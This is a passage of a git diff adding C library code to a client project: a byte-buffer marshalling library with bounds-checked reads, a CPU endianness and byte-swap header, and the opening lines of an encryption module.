return result; +} + +uint8_t buffer_peek_next_int8(buffer_t *buffer) +{ + return buffer_read_int8_at(buffer, buffer->position); +} +uint16_t buffer_peek_next_int16(buffer_t *buffer) +{ + return buffer_read_int16_at(buffer, buffer->position); +} +uint32_t buffer_peek_next_int32(buffer_t *buffer) +{ + return buffer_read_int32_at(buffer, buffer->position); +} +char *buffer_peek_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length) +{ + return buffer_read_ntstring_at(buffer, buffer->position, data_ret, max_length); +} +char *buffer_peek_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length) +{ + return buffer_read_unicode_at(buffer, buffer->position, data_ret, max_length); +} +void *buffer_peek_next_bytes(buffer_t *buffer, void *data, size_t length) +{ + return buffer_read_bytes_at(buffer, buffer->position, data, length); +} + +uint8_t buffer_read_int8_at(buffer_t *buffer, size_t offset) +{ + uint8_t ret; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_read_bytes_at(buffer, offset, &ret, 1); + + return ret; +} + +uint16_t buffer_read_int16_at(buffer_t *buffer, size_t offset) +{ + uint16_t ret; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_read_bytes_at(buffer, offset, &ret, 2); + + switch(buffer->byte_order) + { + case BO_NETWORK: ret = network_to_host_16(ret); break; + case BO_HOST: ret = host_to_host_16(ret); break; + case BO_LITTLE_ENDIAN: ret = little_endian_to_host_16(ret); break; + case BO_BIG_ENDIAN: ret = big_endian_to_host_16(ret); break; + } + + return ret; +} + +uint32_t buffer_read_int32_at(buffer_t *buffer, size_t offset) +{ + uint32_t ret; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + buffer_read_bytes_at(buffer, offset, &ret, 4); + + switch(buffer->byte_order) + { + case BO_NETWORK: ret = network_to_host_32(ret); break; + case BO_HOST: ret = host_to_host_32(ret); break; + case BO_LITTLE_ENDIAN: ret = little_endian_to_host_32(ret); break; + case BO_BIG_ENDIAN: ret = big_endian_to_host_32(ret); break; + } + + return ret; +} + +char *buffer_read_ntstring_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length) +{ + size_t i = 0; + uint8_t ch; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(!buffer_can_read_ntstring_at(buffer, offset, max_length)) + DIE("Program read off the end of the buffer."); + + do + { + ch = buffer->data[offset + i]; + data_ret[i] = ch; + i++; + } + while(ch && i < max_length); + + data_ret[i - 1] = 0; + + return data_ret; +} + +char *buffer_read_unicode_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length) +{ + size_t i = 0; + uint8_t ch; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(!buffer_can_read_ntstring_at(buffer, offset, max_length)) + DIE("Program read off the end of the buffer."); + + do + { + ch = (uint8_t)buffer_read_int16_at(buffer, offset + (i * 2)); + data_ret[i] = ch; + i++; + } + while(ch && i < max_length); + + data_ret[i - 1] = 0; + + return data_ret; +} + +char *buffer_read_unicode_data_at(buffer_t *buffer, size_t offset, char *data_ret, size_t length) +{ + size_t i = 0; + + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(length * 2 < length) + DIE("Overflow."); + if(!buffer_can_read_bytes_at(buffer, offset, length * 2)) + DIE("Program read off the end of the buffer."); + + for(i = 0; i < length; i++) + { + data_ret[i] = (char)buffer_read_int16_at(buffer, offset + (i * 2)); + } + + return data_ret; +} + +void *buffer_read_bytes_at(buffer_t *buffer, size_t offset, void *data, size_t length) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(!buffer_can_read_bytes_at(buffer, offset, length)) + DIE("Program read off the end of the buffer."); + + memcpy(data, buffer->data + offset, length); + + return data; +} + +char *buffer_alloc_ntstring_at(buffer_t *buffer, size_t offset) +{ + size_t length = strlen((char*)buffer->data + offset) + 1; + char *data_ret = safe_malloc(length); + + /* Catch overflows. */ + if(length == 0) + DIE("Overflow?"); + + return buffer_read_ntstring_at(buffer, offset, data_ret, length); +} + +/* These NBBOOL functions check if there's enough bytes left in the buffer to remove + * specified data. These should always be used on the server side to verify valid + * packets */ +NBBOOL buffer_can_read_int8(buffer_t *buffer) +{ + return buffer_can_read_bytes(buffer, 1); +} +NBBOOL buffer_can_read_int16(buffer_t *buffer) +{ + return buffer_can_read_bytes(buffer, 2); +} +NBBOOL buffer_can_read_int32(buffer_t *buffer) +{ + return buffer_can_read_bytes(buffer, 4); +} +NBBOOL buffer_can_read_ntstring(buffer_t *buffer) +{ + size_t i; + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + for(i = buffer->position; i < buffer->current_length; i++) + if(buffer->data[i] == '\0') + return TRUE; + + return FALSE; +} +/* It's important for the logic in this function to closely match the logic in read_unicode_at(), which + * is why I convert it to a uint8_t. */ +NBBOOL buffer_can_read_unicode(buffer_t *buffer) +{ + size_t i; + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + + for(i = buffer->position; i < buffer->current_length; i++) + if(((uint8_t)buffer_read_int16_at(buffer, i)) == 0) + return TRUE; + + return FALSE; +} +NBBOOL buffer_can_read_bytes(buffer_t *buffer, size_t length) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(buffer->position + length < buffer->position) + DIE("Overflow."); + + return buffer_can_read_bytes_at(buffer, buffer->position, length); +} + +NBBOOL buffer_can_read_int8_at(buffer_t *buffer, size_t offset) +{ + return buffer_can_read_bytes_at(buffer, offset, 1); +} + +NBBOOL buffer_can_read_int16_at(buffer_t *buffer, size_t offset) +{ + return buffer_can_read_bytes_at(buffer, offset, 2); +} + +NBBOOL buffer_can_read_int32_at(buffer_t *buffer, size_t offset) +{ + return buffer_can_read_bytes_at(buffer, offset, 4); +} + +NBBOOL buffer_can_read_ntstring_at(buffer_t *buffer, size_t offset, size_t max_length) +{ + size_t i; + NBBOOL good = TRUE; + NBBOOL done = FALSE; + + for(i = 0; i < max_length - 1 && !done && good; i++) + { + if(buffer->data[offset + i] == '\0') + done = TRUE; + + if(offset + i + 1 > buffer->current_length) + good = FALSE; + } + + return good; +} + +NBBOOL buffer_can_read_unicode_at(buffer_t *buffer, size_t offset, size_t max_length) +{ + size_t i; + NBBOOL good = TRUE; + NBBOOL done = FALSE; + + for(i = 0; i < max_length - 1 && !done && good; i++) + { + if(!buffer_can_read_int16_at(buffer, offset + (i * 2))) + good = FALSE; + else if(((uint8_t)buffer_read_int16_at(buffer, offset + (i * 2))) == 0) + done = TRUE; + } + + return good; +} + +NBBOOL buffer_can_read_bytes_at(buffer_t *buffer, size_t offset, size_t length) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + if(offset + length < offset) + DIE("Overflow"); + +/* printf("Offset = %d\n", offset); + printf("Length = %d\n", length); + printf("Current length = %d\n", buffer->current_length); */ + + /* A special case - we can always read zero-length strings {*/ + if(length == 0) + return TRUE; + + return (offset + length - 1) < buffer->current_length; +} + + +static char get_character_from_byte(uint8_t byte) +{ + if(byte < 0x20 || byte > 0x7F) + return '.'; + return byte; +} + +/* Print out the buffer in a nice format */ +void buffer_print(buffer_t *buffer) +{ + size_t length = buffer->current_length; + size_t i, j; + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + printf("Position = %zd\n", buffer->position); + + printf("Buffer contents:"); + for(i = 0; i < length; i++) + { + if(!(i % 16)) + { + if(i > 0) + { + printf(" "); + for(j = 16; j > 0; j--) + { + printf("%c", get_character_from_byte(buffer->data[i - j])); + } + } + if(i == buffer->position) + printf("\n%04zX:<", i); + else + printf("\n%04zX: ", i); + } + + if(i == buffer->position) + printf("%02X>", buffer->data[i]); + else if(i == buffer->position - 1) + printf("%02X<", buffer->data[i]); + else + printf("%02X ", buffer->data[i]); + } + + for(i = length % 16; i < 17; i++) + printf(" "); + for(i = length - (length % 16); i < length; i++) + printf("%c", get_character_from_byte(buffer->data[i])); + + printf("\nLength: 0x%zX (%zd)\n", length, length); +} + +/* Returns a pointer to the actual buffer */ +uint8_t *buffer_get(buffer_t *buffer, size_t *length) +{ + if(!buffer->valid) + DIE("Program attempted to use deleted buffer."); + *length = buffer->current_length; + return buffer->data; +} + +#if 0 +int main(int argc, char *argv[]) +{ + size_t i; + buffer_t *buffer; + + char unicode[8]; + char data[17]; + uint8_t data8; + uint16_t data16; + uint32_t data32; + + printf("\n\n-----------------------\n"); + printf("Host ordering:\n"); + printf("-----------------------\n\n"); + buffer = buffer_create(BO_HOST); + + buffer_add_unicode(buffer, "unicode"); + buffer_add_ntstring(buffer, "ntString #1"); + buffer_add_ntstring(buffer, "ntString #2"); + buffer_add_int8(buffer, 0x01); + buffer_add_int16(buffer, 0x0203); + buffer_add_int32(buffer, 0x04050607); + buffer_add_int32(buffer, 0x08090a0b); + buffer_add_int32(buffer, 0x0c0d0e0f); + buffer_print(buffer); + + buffer_read_next_unicode(buffer, unicode, 8); + printf("Unicode: %s\n", unicode); + for(i = 0; i < 2; i++) + { + buffer_read_next_ntstring(buffer, data, 16); + printf("Read %d: %s\n", i, data); + } + buffer_print(buffer); + + data8 = buffer_read_next_int8(buffer); + buffer_print(buffer); + data16 = buffer_read_next_int16(buffer); + buffer_print(buffer); + data32 = buffer_read_next_int32(buffer); + buffer_print(buffer); + printf("%08x\n", data8); + printf("%08x\n", data16); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + buffer_destroy(buffer); + + + + printf("\n\n-----------------------\n"); + printf("Network ordering:\n"); + printf("-----------------------\n\n"); + buffer = buffer_create(BO_NETWORK); + + buffer_add_unicode(buffer, "unicode"); + buffer_add_ntstring(buffer, "ntString #1"); + buffer_add_ntstring(buffer, "ntString #2"); + buffer_add_int8(buffer, 0x01); + buffer_add_int16(buffer, 0x0203); + buffer_add_int32(buffer, 0x04050607); + buffer_add_int32(buffer, 0x08090a0b); + buffer_add_int32(buffer, 0x0c0d0e0f); + buffer_print(buffer); + + buffer_read_next_unicode(buffer, unicode, 8); + printf("Unicode: %s\n", unicode); + for(i = 0; i < 2; i++) + { + buffer_read_next_ntstring(buffer, data, 16); + printf("Read %d: %s\n", i, data); + } + buffer_print(buffer); + + data8 = buffer_read_next_int8(buffer); + data16 = buffer_read_next_int16(buffer); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data8); + printf("%08x\n", data16); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + buffer_destroy(buffer); + + + + + + printf("\n\n-----------------------\n"); + printf("Little endian ordering:\n"); + printf("-----------------------\n\n"); + buffer = buffer_create(BO_LITTLE_ENDIAN); + + buffer_add_unicode(buffer, "unicode"); + buffer_add_ntstring(buffer, "ntString #1"); + buffer_add_ntstring(buffer, "ntString #2"); + buffer_add_int8(buffer, 0x01); + buffer_add_int16(buffer, 0x0203); + buffer_add_int32(buffer, 0x04050607); + buffer_add_int32(buffer, 0x08090a0b); + buffer_add_int32(buffer, 0x0c0d0e0f); + buffer_print(buffer); + + buffer_read_next_unicode(buffer, unicode, 8); + printf("Unicode: %s\n", unicode); + for(i = 0; i < 2; i++) + { + buffer_read_next_ntstring(buffer, data, 16); + printf("Read %d: %s\n", i, data); + } + buffer_print(buffer); + + data8 = buffer_read_next_int8(buffer); + data16 = buffer_read_next_int16(buffer); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data8); + printf("%08x\n", data16); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + buffer_destroy(buffer); + + + + printf("\n\n-----------------------\n"); + printf("Big endian ordering:\n"); + printf("-----------------------\n\n"); + buffer = buffer_create(BO_BIG_ENDIAN); + + buffer_add_unicode(buffer, "unicode"); + buffer_add_ntstring(buffer, "ntString #1"); + buffer_add_ntstring(buffer, "ntString #2"); + buffer_add_int8(buffer, 0x01); + buffer_add_int16(buffer, 0x0203); + buffer_add_int32(buffer, 0x04050607); + buffer_add_int32(buffer, 0x08090a0b); + buffer_add_int32(buffer, 0x0c0d0e0f); + buffer_print(buffer); + + buffer_read_next_unicode(buffer, unicode, 8); + printf("Unicode: %s\n", unicode); + for(i = 0; i < 2; i++) + { + buffer_read_next_ntstring(buffer, data, 16); + printf("Read %d: %s\n", i, data); + } + buffer_print(buffer); + + data8 = buffer_read_next_int8(buffer); + data16 = buffer_read_next_int16(buffer); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data8); + printf("%08x\n", data16); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + data32 = buffer_read_next_int32(buffer); + printf("%08x\n", data32); + buffer_destroy(buffer); + + + + buffer = buffer_create(BO_NETWORK); + buffer_add_int32(buffer, 0x01020304); + buffer_print(buffer); + printf("Test: %08x\n", buffer_read_next_int32(buffer)); + printf("Test: %08x\n", buffer_read_int32_at(buffer, 0)); + buffer_destroy(buffer); + printf("\n"); + + buffer = buffer_create(BO_HOST); + buffer_add_int32(buffer, 0x01020304); + buffer_print(buffer); + printf("Test: %08x\n", buffer_read_next_int32(buffer)); + printf("Test: %08x\n", buffer_read_int32_at(buffer, 0)); + buffer_destroy(buffer); + printf("\n"); + + buffer = buffer_create(BO_LITTLE_ENDIAN); + buffer_add_int32(buffer, 0x01020304); + buffer_print(buffer); + printf("Test: %08x\n", buffer_read_next_int32(buffer)); + printf("Test: %08x\n", buffer_read_int32_at(buffer, 0)); + buffer_destroy(buffer); + printf("\n"); + + buffer = buffer_create(BO_BIG_ENDIAN); + buffer_add_int32(buffer, 0x01020304); + buffer_print(buffer); + printf("Test: %08x\n", buffer_read_next_int32(buffer)); + printf("Test: %08x\n", buffer_read_int32_at(buffer, 0)); + buffer_destroy(buffer); + + + + return 0; +} +#endif + diff --git a/client/libs/buffer.h b/client/libs/buffer.h new file mode 100644 index 0000000..5b459bb --- /dev/null +++ b/client/libs/buffer.h @@ -0,0 +1,189 @@ +/* buffer.h + * By Ron + * Created August, 2008 + * + * (See LICENSE.md) + * + * This is a generic class for buffering (marshalling) data that in many ways + * dates back to my days as a Battle.net developers. It gives programmers an + * easy way to prepare data to be sent on the network, as well as a simplified + * way to build strings in a language where string building isn't always + * straight forward. In many ways, it's like the pack()/unpack() functions from + * Perl. + * + * I've strived to keep this implementation the same on every platform. You'll + * notice that there's no Windows-specific code here, and also that all + * calculations will work on both a little- or big-endian system. The only time + * you won't get the same results is when you create a buffer with the type + * BO_HOST, which always uses the host's byte ordering. I don't recommend that. + */ + +#ifndef __BUFFER_H__ +#define __BUFFER_H__ + +#include /* For "size_t". */ + +#include "types.h" + +typedef enum +{ + BO_HOST, /* Use the byte order of the host (bad idea -- changes on systems. */ + BO_NETWORK, /* Use network byte order which, as it turns out, is big endian. */ + BO_LITTLE_ENDIAN, /* Use big endian byte ordering (0x12345678 => 78 56 34 12). */ + BO_BIG_ENDIAN, /* Use big endian byte ordering (0x12345678 => 12 34 56 78). */ +} BYTE_ORDER_t; + +/* This struct shouldn't be accessed directly */ +typedef struct +{ + /* Byte order to use */ + BYTE_ORDER_t byte_order; + + /* The current position in the string, used when reading it. */ + size_t position; + + /* The maximum length of the buffer that "buffer" is pointing to. When + * space in this runs out, it's expanded */ + size_t max_length; + + /* The current length of the buffer. */ + size_t current_length; + + /* The current buffer. Will always point to a string of length max_length */ + uint8_t *data; + + /* Set to FALSE when the packet is destroyed, to make sure I don't accidentally + * re-use it (again) */ + NBBOOL valid; + +} buffer_t; + +/* Create a new packet buffer */ +buffer_t *buffer_create(BYTE_ORDER_t byte_order); + +/* Create a new packet buffer, with data. */ +buffer_t *buffer_create_with_data(BYTE_ORDER_t byte_order, const void *data, const size_t length); + +/* Go to the start of the buffer. */ +void buffer_reset(buffer_t *buffer); + +/* Destroy the buffer and free resources. If this isn't used, memory will leak. */ +void buffer_destroy(buffer_t *buffer); + +/* Makes a copy of the buffer. */ +buffer_t *buffer_duplicate(buffer_t *base); + +/* Get the length of the buffer. */ +size_t buffer_get_length(buffer_t *buffer); + +/* Get the current location in the buffer. */ +size_t buffer_get_current_offset(buffer_t *buffer); +/* Set the current location in the buffer. */ +void buffer_set_current_offset(buffer_t *buffer, size_t position); + +/* Get the number of bytes between the current offset and the end of the buffer. */ +size_t buffer_get_remaining_bytes(buffer_t *buffer); + +/* Clear out the buffer. Memory is kept, but the contents are blanked out and the pointer is returned + * to the beginning. */ +void buffer_clear(buffer_t *buffer); + +/* Align the buffer to even multiples. */ +void buffer_read_align(buffer_t *buffer, size_t align); +void buffer_write_align(buffer_t *buffer, size_t align); + +/* Consume (discard) bytes. */ +void buffer_consume(buffer_t *buffer, size_t count); + +/* Return the contents of the buffer in a newly allocated string. Fill in the length, if a pointer + * is given. Note that this allocates memory that has to be freed! */ +uint8_t *buffer_create_string(buffer_t *buffer, size_t *length); +/* Does the same thing as above, but also frees up the buffer (good for a function return). */ +uint8_t *buffer_create_string_and_destroy(buffer_t *buffer, size_t *length); + +/* Returns the contents of the buffer - starting at the current position - in a newly allocated + * string. Returns the length in the length pointer. If max_bytes is -1, all bytes are returned. */ +uint8_t *buffer_read_remaining_bytes(buffer_t *buffer, size_t *length, size_t max_bytes, NBBOOL consume); + +/* Add data to the end of the buffer */ +buffer_t *buffer_add_int8(buffer_t *buffer, const uint8_t data); +buffer_t *buffer_add_int16(buffer_t *buffer, const uint16_t data); +buffer_t *buffer_add_int32(buffer_t *buffer, const uint32_t data); +buffer_t *buffer_add_ntstring(buffer_t *buffer, const char *data); +buffer_t *buffer_add_string(buffer_t *buffer, const char *data); +/* Note: UNICODE support is a hack -- it adds every second character as a NULL, but is otherwise ASCII. */ +buffer_t *buffer_add_unicode(buffer_t *buffer, const char *data); +buffer_t *buffer_add_bytes(buffer_t *buffer, const void *data, const size_t length); +buffer_t *buffer_add_buffer(buffer_t *buffer, const buffer_t *source); + +/* Add data to the middle of a buffer. These functions won't write past the end of the buffer, so it's + * up to the programmer to be careful. */ +buffer_t *buffer_add_int8_at(buffer_t *buffer, const uint8_t data, size_t offset); +buffer_t *buffer_add_int16_at(buffer_t *buffer, const uint16_t data, size_t offset); +buffer_t *buffer_add_int32_at(buffer_t *buffer, const uint32_t data, size_t offset); +buffer_t *buffer_add_ntstring_at(buffer_t *buffer, const char *data, size_t offset); +buffer_t *buffer_add_string_at(buffer_t *buffer, const char *data, size_t offset); +buffer_t *buffer_add_unicode_at(buffer_t *buffer, const char *data, size_t offset); +buffer_t *buffer_add_bytes_at(buffer_t *buffer, const void *data, const size_t length, size_t offset); +buffer_t *buffer_add_buffer_at(buffer_t *buffer, const buffer_t *source, size_t offset); + +/* Read the next data from the buffer. The first read will be at the beginning. + * An assertion will fail and the program will end if read off + * the end of the buffer; it's probably a good idea to verify that enough data can be removed + * before actually attempting to remove it; otherwise, a DoS condition can occur */ +uint8_t buffer_read_next_int8(buffer_t *buffer); +uint16_t buffer_read_next_int16(buffer_t *buffer); +uint32_t buffer_read_next_int32(buffer_t *buffer); +char *buffer_read_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length); +char *buffer_read_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length); +char *buffer_read_next_unicode_data(buffer_t *buffer, char *data_ret, size_t length); +void *buffer_read_next_bytes(buffer_t *buffer, void *data, size_t length); + +/* Allocate memory to hold the result. */ +char *buffer_alloc_next_ntstring(buffer_t *buffer); + +/* Read the next data, without incrementing the current pointer. */ +uint8_t buffer_peek_next_int8(buffer_t *buffer); +uint16_t buffer_peek_next_int16(buffer_t *buffer); +uint32_t buffer_peek_next_int32(buffer_t *buffer); +char *buffer_peek_next_ntstring(buffer_t *buffer, char *data_ret, size_t max_length); +char *buffer_peek_next_unicode(buffer_t *buffer, char *data_ret, size_t max_length); +void *buffer_peek_next_bytes(buffer_t *buffer, void *data, size_t length); + +/* Read data at the specified location in the buffer (counting the first byte as 0). */ +uint8_t buffer_read_int8_at(buffer_t *buffer, size_t offset); +uint16_t buffer_read_int16_at(buffer_t *buffer, size_t offset); +uint32_t buffer_read_int32_at(buffer_t *buffer, size_t offset); +char *buffer_read_ntstring_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length); +char *buffer_read_unicode_at(buffer_t *buffer, size_t offset, char *data_ret, size_t max_length); +char *buffer_read_unicode_data_at(buffer_t *buffer, size_t offset, char *data_ret, size_t length); +void *buffer_read_bytes_at(buffer_t *buffer, size_t offset, void *data, size_t length); + +/* Allocate memory to hold the result. */ +char *buffer_alloc_ntstring_at(buffer_t *buffer, size_t offset); + +/* These NBBOOL functions check if there are enough bytes left in the buffer to remove + * specified data. These should always be used on the server side to verify valid + * packets for a critical service. */ +NBBOOL buffer_can_read_int8(buffer_t *buffer); +NBBOOL buffer_can_read_int16(buffer_t *buffer); +NBBOOL buffer_can_read_int32(buffer_t *buffer); +NBBOOL buffer_can_read_ntstring(buffer_t *buffer); +NBBOOL buffer_can_read_unicode(buffer_t *buffer); +NBBOOL buffer_can_read_bytes(buffer_t *buffer, size_t length); + +/* These functions check if there are enough bytes in the buffer at the specified location. */ +NBBOOL buffer_can_read_int8_at(buffer_t *buffer, size_t offset); +NBBOOL buffer_can_read_int16_at(buffer_t *buffer, size_t offset); +NBBOOL buffer_can_read_int32_at(buffer_t *buffer, size_t offset); +NBBOOL buffer_can_read_ntstring_at(buffer_t *buffer, size_t offset, size_t max_length); +NBBOOL buffer_can_read_unicode_at(buffer_t *buffer, size_t offset, size_t max_length); +NBBOOL buffer_can_read_bytes_at(buffer_t *buffer, size_t offset, size_t length); + +/* Print out the buffer in a nice format -- useful for debugging. */ +void buffer_print(buffer_t *buffer); + +/* Returns a pointer to the actual buffer (I don't recommend using this). */ +uint8_t *buffer_get(buffer_t *buffer, size_t *length); + +#endif diff --git a/client/libs/crypto/byte_order.h b/client/libs/crypto/byte_order.h new file mode 100644 index 0000000..9c45c97 --- /dev/null +++ b/client/libs/crypto/byte_order.h @@ -0,0 +1,178 @@ +/* byte_order.h */ +#ifndef BYTE_ORDER_H +#define BYTE_ORDER_H +#include "ustd.h" +#include + +#ifdef IN_RHASH +#include "config.h" +#endif + +#ifdef __GLIBC__ +# include +#endif + +#ifdef __cplusplus +extern "C" { +#endif + +/* if x86 compatible cpu */ +#if defined(i386) || defined(__i386__) || defined(__i486__) || \ + defined(__i586__) || defined(__i686__) || defined(__pentium__) || \ + defined(__pentiumpro__) || defined(__pentium4__) || \ + defined(__nocona__) || defined(prescott) || defined(__core2__) || \ + defined(__k6__) || defined(__k8__) || defined(__athlon__) || \ + defined(__amd64) || defined(__amd64__) || \ + defined(__x86_64) || defined(__x86_64__) || defined(_M_IX86) || \ + defined(_M_AMD64) || defined(_M_IA64) || defined(_M_X64) +/* detect if x86-64 instruction set is supported */ +# if defined(_LP64) || defined(__LP64__) || defined(__x86_64) || \ + defined(__x86_64__) || defined(_M_AMD64) || defined(_M_X64) +# define CPU_X64 +# else +# define CPU_IA32 +# endif +#endif + + +/* detect CPU endianness */ +#if (defined(__BYTE_ORDER) && defined(__LITTLE_ENDIAN) && \ + __BYTE_ORDER == __LITTLE_ENDIAN) || \ + defined(CPU_IA32) || defined(CPU_X64) || \ + defined(__ia64) || defined(__ia64__) || defined(__alpha__) || defined(_M_ALPHA) || \ + defined(vax) || defined(MIPSEL) || defined(_ARM_) +# define CPU_LITTLE_ENDIAN +# define IS_BIG_ENDIAN 0 +# define IS_LITTLE_ENDIAN 1 +#elif (defined(__BYTE_ORDER) && defined(__BIG_ENDIAN) && \ + __BYTE_ORDER == __BIG_ENDIAN) || \ + defined(__sparc) || defined(__sparc__) || defined(sparc) || \ + defined(_ARCH_PPC) || defined(_ARCH_PPC64) || defined(_POWER) || \ + defined(__POWERPC__) || defined(POWERPC) || defined(__powerpc) || \ + defined(__powerpc__) || defined(__powerpc64__) || defined(__ppc__) || \ + defined(__hpux) || defined(_MIPSEB) || defined(mc68000) || \ + defined(__s390__) || defined(__s390x__) || defined(sel) +# define CPU_BIG_ENDIAN +# define IS_BIG_ENDIAN 1 +# define IS_LITTLE_ENDIAN 0 +#else +# error "Can't detect CPU architechture" +#endif + +#define IS_ALIGNED_32(p) (0 == (3 & ((const char*)(p) - (const char*)0))) +#define IS_ALIGNED_64(p) (0 == (7 & ((const char*)(p) - (const char*)0))) + +#if defined(_MSC_VER) +#define ALIGN_ATTR(n) __declspec(align(n)) +#elif defined(__GNUC__) +#define ALIGN_ATTR(n) __attribute__((aligned (n))) +#else +#define ALIGN_ATTR(n) /* nothing */ +#endif + + +#if defined(_MSC_VER) || defined(__BORLANDC__) +#define I64(x) x##ui64 +#else +#define I64(x) x##LL +#endif + +/* convert a hash flag to index */ +#if __GNUC__ >= 4 || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4) /* GCC < 3.4 */ +# define rhash_ctz(x) __builtin_ctz(x) +#else +unsigned rhash_ctz(unsigned); /* define as function */ +#endif + +void rhash_swap_copy_str_to_u32(void* to, int index, const void* from, size_t length); +void rhash_swap_copy_str_to_u64(void* to, int index, const void* from, size_t length); +void rhash_swap_copy_u64_to_str(void* to, const void* from, size_t length); +void rhash_u32_mem_swap(unsigned *p, int length_in_u32); + +/* define bswap_32 */ +#if defined(__GNUC__) && defined(CPU_IA32) && !defined(__i386__) +/* for intel x86 CPU */ +static inline uint32_t bswap_32(uint32_t x) { + __asm("bswap\t%0" : "=r" (x) : "0" (x)); + return x; +} +#elif defined(__GNUC__) && (__GNUC__ >= 4) && (__GNUC__ > 4 || __GNUC_MINOR__ >= 3) +/* for GCC >= 4.3 */ +# define bswap_32(x) __builtin_bswap32(x) +#elif (_MSC_VER > 1300) && (defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */ +# define bswap_32(x) _byteswap_ulong((unsigned long)x) +#elif !defined(__STRICT_ANSI__) +/* general bswap_32 definition */ +static inline uint32_t bswap_32(uint32_t x) { + x = ((x << 8) & 0xFF00FF00) | ((x >> 8) & 0x00FF00FF); + return (x >> 16) | (x << 16); +} +#else +#define bswap_32(x) ((((x) & 0xff000000) >> 24) | (((x) & 0x00ff0000) >> 8) | \ + (((x) & 0x0000ff00) << 8) | (((x) & 0x000000ff) << 24)) +#endif /* bswap_32 */ + +#if defined(__GNUC__) && (__GNUC__ >= 4) && (__GNUC__ >= 4 || __GNUC_MINOR__ >= 3) +# define bswap_64(x) __builtin_bswap64(x) +#elif (_MSC_VER > 1300) && (defined(CPU_IA32) || defined(CPU_X64)) /* MS VC */ +# define bswap_64(x) _byteswap_uint64((__int64)x) +#elif !defined(__STRICT_ANSI__) +static inline uint64_t bswap_64(uint64_t x) { + union { + uint64_t ll; + uint32_t l[2]; + } w, r; + w.ll = x; + r.l[0] = bswap_32(w.l[1]); + r.l[1] = bswap_32(w.l[0]); + return r.ll; +} +#elif defined(__FreeBSD__) || defined(__NetBSD__) +# define bswap_64(x) bswap64(x) +#elif defined(__OpenBSD__) +# define bswap_64(x) swap64(x) +#elif defined(__APPLE__) +# include +# define bswap_64 OSSwapInt64 +#else +# error "bswap_64 unsupported" +#endif + +#ifdef CPU_BIG_ENDIAN +# define be2me_32(x) (x) +# define be2me_64(x) (x) +# define le2me_32(x) bswap_32(x) +# define le2me_64(x) bswap_64(x) + +# define be32_copy(to, index, from, length) memcpy((to) + (index), (from), (length)) +# define le32_copy(to, index, from, length) rhash_swap_copy_str_to_u32((to), (index), (from), (length)) +# define be64_copy(to, index, from, length) memcpy((to) + (index), (from), (length)) +# define le64_copy(to, index, from, length) rhash_swap_copy_str_to_u64((to), (index), (from), (length)) +# define me64_to_be_str(to, from, length) memcpy((to), (from), (length)) +# define me64_to_le_str(to, from, length) rhash_swap_copy_u64_to_str((to), (from), (length)) + +#else /* CPU_BIG_ENDIAN */ +# define be2me_32(x) bswap_32(x) +# define be2me_64(x) bswap_64(x) +# define le2me_32(x) (x) +# define le2me_64(x) (x) + +# define be32_copy(to, index, from, length) rhash_swap_copy_str_to_u32((to), (index), (from), (length)) +# define le32_copy(to, index, from, length) memcpy((to) + (index), (from), (length)) +# define be64_copy(to, index, from, length) rhash_swap_copy_str_to_u64((to), (index), (from), (length)) +# define le64_copy(to, index, from, length) memcpy((to) + (index), (from), (length)) +# define me64_to_be_str(to, from, length) rhash_swap_copy_u64_to_str((to), (from), (length)) +# define me64_to_le_str(to, from, length) memcpy((to), (from), (length)) +#endif /* CPU_BIG_ENDIAN */ + +/* ROTL/ROTR macros rotate a 32/64-bit word left/right by n bits */ +#define ROTL32(dword, n) ((dword) << (n) ^ ((dword) >> (32 - (n)))) +#define ROTR32(dword, n) ((dword) >> (n) ^ ((dword) << (32 - (n)))) +#define ROTL64(qword, n) ((qword) << (n) ^ ((qword) >> (64 - (n)))) +#define ROTR64(qword, n) ((qword) >> (n) ^ ((qword) << (64 - (n)))) + +#ifdef __cplusplus +} /* extern "C" */ +#endif /* __cplusplus */ + +#endif /* BYTE_ORDER_H */ diff --git a/client/libs/crypto/encryptor.c b/client/libs/crypto/encryptor.c new file mode 100644 index 0000000..0dd36c9 --- /dev/null +++ b/client/libs/crypto/encryptor.c @@ -0,0 +1,293 @@ +/** + * encryptor.c + * Created by Ron Bowes + * October, 2015 + * + * See LICENSE.md + */ + +#ifndef NO_ENCRYPTION + +#include +#include + +#include "libs/buffer.h" +#include "libs/crypto/sha3.h" +#include "libs/crypto/salsa20.h" +#include "libs/crypto/micro-ecc/uECC.h" +#include "libs/memory.h" +#include "libs/types.h" + +#include "encryptor.h" +#include "encryptor_sas_dict.h" + +#define SAS_AUTHSTRING ("authstring") + +#define HEADER_LENGTH 5 +#define SIGNATURE_LENGTH 6 + +static void 